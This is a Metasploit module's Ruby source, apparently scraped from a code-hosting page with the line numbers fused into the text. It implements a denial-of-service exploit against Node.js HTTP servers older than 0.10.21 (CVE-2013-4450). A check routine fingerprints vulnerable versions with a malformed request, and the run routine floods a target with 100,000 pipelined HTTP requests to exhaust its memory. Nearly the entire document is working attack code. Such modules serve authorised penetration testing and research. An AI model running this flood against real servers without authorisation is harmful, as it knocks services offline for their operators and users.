Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/nodejs_pipelining.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Node.js HTTP Pipelining Denial of Service',12'Description' => %q{13This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions14released before 0.10.21 and 0.8.26. The attack sends many pipelined15HTTP requests on a single connection, which causes unbounded memory16allocation when the client does not read the responses.17},18'Author' =>19[20'Marek Majkowski', # Vulnerability discovery21'titanous', # Metasploit module22'joev' # Metasploit module23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2013-4450' ],28[ 'OSVDB', '98724' ],29[ 'BID' , '63229' ],30[ 'URL', 'https://nodejs.org/ja/blog/vulnerability/http-server-pipeline-flood-dos/' ]31],32'DisclosureDate' => '2013-10-18'))3334register_options(35[36Opt::RPORT(80),37OptInt.new('RLIMIT', [true, "Number of requests to send", 100000])38],39self.class)40end4142def check43# http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/44# check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted45status = Exploit::CheckCode::Safe46connect47sock.put(http_request("GEM"))48begin49response = sock.get_once50status = Exploit::CheckCode::Appears if response =~ /HTTP/51rescue EOFError52# checking against >= 0.10.17 raises EOFError because there is no53# response to GEM requests54vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)")55return Msf::Exploit::CheckCode::Unknown56ensure57disconnect58end59status60end6162def host63host = datastore['RHOST']64host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 8065host66end6768def http_request(method='GET')69"#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"70end7172def run73payload = http_request74begin75print_status("Stressing the target memory...")76connect77datastore['RLIMIT'].times { sock.put(payload) }78print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.")79rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout80print_status("Unable to connect to #{host}.")81rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error82print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached")83ensure84disconnect85end86end87end888990